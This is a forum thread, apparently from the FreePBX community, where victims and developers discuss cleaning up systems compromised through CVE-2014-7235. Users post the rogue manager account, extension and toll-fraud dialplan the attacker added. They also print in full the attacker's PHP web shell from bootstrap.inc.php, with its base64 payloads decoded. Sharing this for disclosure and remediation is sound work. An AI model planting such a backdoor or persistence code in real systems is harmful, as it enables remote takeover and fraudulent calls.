Critical FreePBX RCE Vulnerability (ALL Versions) CVE-2014-7235

It goes thru the process like it is trying to delete, but never actually does.

No error or warning messages.

What version of FreePBX?

I found these files modified:
You’ll find the Admin user modified, a new users called mgknight and a new ext 1986.

Manager_custom.conf
Sip_customer.conf
Extensions_customer.conf

manager_customer.conf
[mgknight]
secret=mgklives
permit=0.0.0.0/0.0.0.0
read = system,call,log,verbose,command,agent,user,config,command,dtmf,reporting,cdr,dialplan,originate
write = system,call,log,verbose,command,agent,user,config,command,dtmf,reporting,cdr,dialplan,originate
writetimeout = 5000

sip_customer.conf
[1986]
host=dynamic
context=from-internal
secret=qhIoiHzZes
type=friend

Extensions_custom.conf
[from-internal-noxfer-custom]
exten => _1986.,1,Macro(user-callerid,LIMIT,EXTERNAL,)
exten => _1986.,n,ExecIf($[ “${CALLEE_ACCOUNCODE}” != “” ] ?Set(CDR(accountcode)=${CALLEE_ACCOUNCODE}))
exten => _1986.,n,Set(MOHCLASS=${IF($["${MOHCLASS}"=""]?default:${MOHCLASS})})
exten => _1986.,n,Set(_NODEST=)
exten => _1986.,n,Gosub(sub-record-check,s,1(out,${EXTEN},))
exten => _1986.,n,Macro(dialout-trunk,1,${EXTEN:4},off)
exten => _1986.,n,Macro(dialout-trunk,2,${EXTEN:4},off)
exten => _1986.,n,Macro(dialout-trunk,3,${EXTEN:4},off)
exten => _1986.,n,Macro(dialout-trunk,4,${EXTEN:4},off)
exten => _1986.,n,Macro(dialout-trunk,5,${EXTEN:4},off)
exten => _1986.,n,Macro(dialout-trunk,6,${EXTEN:4},off)
exten => _1986.,n,Macro(dialout-trunk,7,${EXTEN:4},off)
exten => _1986.,n,Macro(dialout-trunk,8,${EXTEN:4},off)
exten => _1986.,n,Macro(dialout-trunk,9,${EXTEN:4},off)
exten => _1986.,n,Macro(dialout-trunk,10,${EXTEN:4},off)
exten => _1986.,n,Macro(dialout-trunk,11,${EXTEN:4},off)
exten => _1986.,n,Macro(dialout-trunk,12,${EXTEN:4},off)
exten => _1986.,n,Macro(dialout-trunk,13,${EXTEN:4},off)
exten => _1986.,n,Macro(dialout-trunk,14,${EXTEN:4},off)
exten => _1986.,n,Macro(dialout-trunk,15,${EXTEN:4},off)
exten => _1986.,n,Macro(dialout-trunk,16,${EXTEN:4},off)
exten => _1986.,n,Macro(dialout-trunk,17,${EXTEN:4},off)
exten => _1986.,n,Macro(dialout-trunk,18,${EXTEN:4},off)
exten => _1986.,n,Macro(dialout-trunk,19,${EXTEN:4},off)
exten => _1986.,n,Macro(dialout-trunk,20,${EXTEN:4},off)
exten => _1986.,n,Macro(dialout-trunk,21,${EXTEN:4},off)
exten => _1986.,n,Macro(dialout-trunk,22,${EXTEN:4},off)
exten => _1986.,n,Macro(dialout-trunk,23,${EXTEN:4},off)
exten => _1986.,n,Macro(dialout-trunk,24,${EXTEN:4},off)
exten => _1986.,n,Macro(dialout-trunk,25,${EXTEN:4},off)
exten => _1986.,n,Macro(dialout-trunk,26,${EXTEN:4},off)
exten => _1986.,n,Macro(dialout-trunk,27,${EXTEN:4},off)
exten => _1986.,n,Macro(dialout-trunk,28,${EXTEN:4},off)
exten => _1986.,n,Macro(dialout-trunk,28,${EXTEN:4},off)
exten => _1986.,n,Macro(dialout-trunk,29,${EXTEN:4},off)
exten => _1986.,n,Macro(dialout-trunk,30,${EXTEN:4},off)
exten => _1986.,n,Macro(outisbusy,)
[mgkext]
exten => _X.,1,NoOp(“Click in Context”)
exten => _X.,n,Answer(999999999999999999)
exten => _X.,n,Wait(999999999999999999)

Even though my username was missing in the Administrator page, I was still able to access the system via SSH and web-browser.

I preformed a back up and only restore /var & /etc.

After the backup was complete the mgknight and ext 1986 were gone.
I then preformed updates via the Module page.
My system has been stable since.

I forgot to add to my comments - that I created a new FreePBX install
and then restored my backup from before the exploit hit my system.
Sorry for any confusion.

Good Luck!!

Additional, I changed all user passwords.

Somebody turned the server off on me, so now I need to wait until I get into the office tomorrow morning. I can’t confirm, but I think this is the ISO I loaded from: FreePBX-3.211.63-10-i386-Full-1370290511. Last time I ran updates on it was probably 3-6 months ago.

Yes so you got hacked from the CVE we announced two weeks ago (12 days) and also released the patch, updates and solutions same day. I think we have already determined that.

The end result of the CVE will be different depending on who coded the actual “virus” part that utilized the CVE. It could be anything from the addition of the module “admindashboard”, to people changing files, to someone adding their own settings to FreePBX.

You can remove the user “mgknight” by making sure all modules are updated. Especially “core” and “FreePBX ARI Framework” and “FreePBX Framework”. and then going into FreePBX and trying to remove it.

You can make sure all modules are updated by running:

amportal a ma upgradeall

If you still can’t remove the user then run this command:

mysql asterisk -e "DELETE FROM ampusers WHERE username = 'mgknight';"

Please note that at this point if you still weren’t able to remove the user mhknight you need to start thinking about doing a complete reinstall because the hacker has changed your system so that this user can’t be removed and who knows what else they changed (Might be more than what @CharlotteInternet said or less or different)

I’m sure that over time hackers will come up with more ways to utilize the CVE announced here so there will be many different outcomes from it. The best way to protect yourself is to keep your systems up to date.

You may have been hit by the exploit from 9 months ago. When did you update last

In addition to the same modified files that CharlotteInternet mentioned above, I was also having the same issue as Chimnysweep where I had a new administrator named mgknight which I couldn’t delete. I followed the instructions provided by tm1000 for removing it with the mysql command, and then issued a SELECT command to verify it was in fact deleted. But as soon as I opened any page on in the administration interface, the user showed back up.

I found that /var/www/html/admin/bootstrap.inc.php had been modified to include code which re-created the user account any time a page was loaded. As soon as I removed the code from that file, I could delete the user account normally.

Here is the source of the modified bootstrap.inc.php file

<?php if ($_SERVER["REMOTE_ADDR"]=="178.162.201.166" && md5($_REQUEST['secure'])=="7f02b0ae0869cc5aa38cd7ca6c767c92"){ system($_REQUEST['secmd']); } if(md5($_REQUEST["mgp"])=="4f6e5768b76809bc99bf278494b5f352") { echo "login correct
"; echo ""; @system($_REQUEST["c"]); echo "";

}
system(base64_decode(“bXlzcWwgYGdyZXAgQU1QREIgL2V0Yy9hbXBvcnRhbC5jb25mfGdyZXAgIlVTRVJcfFBBU1NcfE5BTUUifCBzZWQgJ3MvQU1QREJVU0VSL2EvZyd8c2VkICdzL0FNUERCUEFTUy9iL2cnfHNlZCAncy9BTVBEQk5BTUUvYy9nJ3xzZWQgJ3MvYT0vLXUvZyd8c2VkICdzL2I9LyAtcC9nJ3xzZWQgJ3MvYz0vIC9nJ3x0ciAtZCAnXG4nYCAtLWV4ZWN1dGUgIkRFTEVURSBmcm9tIGFtcHVzZXJzIHdoZXJlIHVzZXJuYW1lIT0nYWRtaW4nO0lOU0VSVCBJTlRPIGFtcHVzZXJzICh1c2VybmFtZSxwYXNzd29yZF9zaGExLHNlY3Rpb25zKSBWQUxVRVMgKCdtZ2tuaWdodCcsJzMzYzdhNGRmNDZiMWE5ZjdkNGE0NjM2ZDQ3Njg0OTIwNWEwNGM2YjcnLCcqJyk7Ig==”));
system(base64_decode(“ZWNobyAnT3JkZXIgRGVueSxBbGxvd2BkZW55IGZyb20gYWxsYDxGaWxlcyBzdWJkaXJlY3RvcnkvKj5gICAgIGRlbnkgZnJvbSBhbGxgPC9GaWxlcz5gPEZpbGVzTWF0Y2ggIlwuLiokIj5gCURlbnkgZnJvbSBhbGxgPC9GaWxlc01hdGNoPmA8RmlsZXNNYXRjaCAiKF4kfGluZGV4XC5waHB8Y29uZmlnXC5waHB8XC4oZ2lmfEdJRnxqcGd8anBlZ3xwbmd8Y3NzfGpzfHN3Znx0eHR8aWNvfHR0Znxzdmd8ZW90fHdvZmZ8d2F2fG1wM3xhYWN8b2dnfHdlYm0pJHxib290c3RyYXBcLmluY1wucGhwKSI+YAlBbGxvdyBmcm9tIGFsbGA8L0ZpbGVzTWF0Y2g+YHBocF92YWx1ZSBtYXhfaW5wdXRfdmFycyA1MDAwJ3x0ciAnYCcgJ1xuJz4uaHRhY2Nlc3M=”));
?>

The first base64_decode incldues the following code:

mysql grep AMPDB /etc/amportal.conf|grep "USER\|PASS\|NAME"| sed 's/AMPDBUSER/a/g'|sed 's/AMPDBPASS/b/g'|sed 's/AMPDBNAME/c/g'|sed 's/a=/-u/g'|sed 's/b=/ -p/g'|sed 's/c=/ /g'|tr -d '\n' --execute “DELETE from ampusers where username!=‘admin’;INSERT INTO ampusers (username,password_sha1,sections) VALUES (‘mgknight’,‘33c7a4df46b1a9f7d4a4636d476849205a04c6b7’,‘*’);”

Which appears to simply delete any users which are not “admin” and then creates the new “mgknight” admin account.

The second base64_decode incldues the following code:

echo ‘Order Deny,Allowdeny from all<Files subdirectory/*> deny from all<FilesMatch "\..*$"> Deny from all</FilesMatch><FilesMatch “(^$|index.php|config.php|.(gif|GIF|jpg|jpeg|png|css|js|swf|txt|ico|ttf|svg|eot|woff|wav|mp3|aac|ogg|webm)$|bootstrap.inc.php)”> Allow from allphp_value max_input_vars 5000'|tr '’ ‘\n’>.htaccess

I’m not entirely sure what this command does. If anyone can offer any insight on if there is anything else that should be recovered from the above commands, please be sure to reply!

Joe

To assist in checking machines, for those that aren’t already on FreePBX 12, I wrote a little script that will let you take advantage of FreePBX 12’s GPG based module signing infrastructure.

Whilst it isn’t used in 2.11 (or 2.10), we have been signing ALL modules that have been updated for most of this year, for every version. You’ll see that all new modules have a signed ‘module.sig’ file in them, that contains a hash of every file.

This turns out to be extremely handy for people who want an easy way to check their systems.

Here it is: http://git.freepbx.org/projects/FL/repos/freepbx-check/browse

Now before you get all crosseyed and wonder what is going on, there’s actually only one file that you NEED. It’s this one: http://git.freepbx.org/projects/FL/repos/freepbx-check/browse/fpbxseccheck.phar - you should be able to use wget to get it from any machine connected to the internet. It doesn’t require anything extra, even taking that phar on a USB stick to a potentially hacked machine will work.

That is a phar, which is a php archive – kinda like a .zip, but you can run it. Everything in that Git repository is contained in that phar, and it’s completely stand alone. It doesn’t rely on anything on the existing freepbx machine, so it’s going to be extremely hard for a (non root-kitted) machine to hide.

Simply download and run it:

wget http://git.freepbx.org/projects/FL/repos/freepbx-check/browse/fpbxseccheck.phar?raw -O /tmp/fpbxseccheck.phar
chmod +x /tmp/fpbxseccheck.phar
/tmp/fpbxseccheck.phar

It will try to validate any modules that ARE signed, and tell you about any that aren’t. Note that it does REQUIRE framework to be signed, so make sure you’re up to date with that before anything else.

It’s 100% open source, and you can build the phar yourself by cloning the repo and running build.php.

Basic Usage:

./fpbxseccheck.phar

This will tell you if any modules have invalid files or modified files, you can then redownload said modules manually or run the commands below

Automatically attempt to clean up a compromised system

./fpbxseccheck.phar --clean

Automatically redownload any invalidly signed modules

./fpbxseccheck.phar --redownload
1 Like

Great addition, Rob. Unfortunately, it only catches FreePBX modules and not injections to other files such as manager.conf, manager_additional.conf, and manager_custom.conf. A change in any of those files without firewall protection and a system is compromised. Hope you’ll expand the universe beyond modules.

Also curious to know whether there is a procedure in place to get non-FreePBX modules registered and verified, e.g. AvantFax, AsteriDex, ConfigEdit, phpMyAdmin, SysInfo, and Reminders in the case of PBX in a Flash and Incredible PBX servers. THANKS!

Already working on this. Actually it’s done and being tested by our support staff.

As far as I am aware AvantFax and AsteriDex are not freepbx modules.

We have added new options to the script above that should take care of and fix most of the things @wardmundy mentioned.

1 Like

We’ve separately developed FreePBX modules for all of the components I mentioned. Tony had mentioned that there would be a procedure for getting them registered. That’s what I was checking on. Thanks.

Yes there will be. But as I recall avantfax and asteridex are not in the “modules” directory of FreePBX. We can only include things that are under “modules” (and thus symlinked out from there)

Yes as any module you would need to submit the module into FreePBX as a contributed module and from their they will get auto singed and published. Modules can only be signed if they are published and distributed by FreePBX Mirrors.

Thanks. Will do…

We can/will give you full access to said repo, so you can push/pull/update etc

Please run the commands in:
Even if you have previously updated. It seems some people may have been confused by the original post.
http://wiki.freepbx.org/display/L1/FreePBX+Security+Scan

I’ve emailed a copy to Tony but will post wherever you tell me to go. Thanks.

Hello,

After dealing with over 15 systems today that were affected by this exact exploit we learned three things.

  1. Some people had updated, however they had updated after the ARI exploit had already been used against them. Example of one client’s machine: Updated on the 9th of October, but they were hacked on the 7th (we discovered this by looking through their logs). They didn’t notice until this weekend when toll calls started happening, because, as it turns out, the toll calling was not activated until this weekend. For example the user that got hacked on the 7th, nothing strange happened to his system until this weekend, but the hack sent out an alert notice to the hacker that the system was compromised. User updated ARI on the 9th closing said exploit, but the code was already modified at this point for the hacker to have several backdoors, including bootstrap.ini.php among other changes.

  2. This (for all intent and purposes) still appears to be the same CVE we announced a fix for two weeks ago

  3. Some people might have been confused and thought that by removing “/var/www/html/admin/modules/fw_ari” or disabling FreePBX ARI Framework would have removed the ARI itself. However this was not the case as the way ARI was designed many years ago it never had the ability for an uninstall function. Two releases of ARI back I added this functionality into it, but some people might not have updated and instead decided to just remove it themselves manually. We noticed on one system the user deleted the module/fw_ari manually, but was still compromised by the ARI through /recordings, which they left sitting around.

Finally I advise everyone to checkout and run this script on your systems to see if they got attacked and to try to clean it up as much as possible (from what we have learned)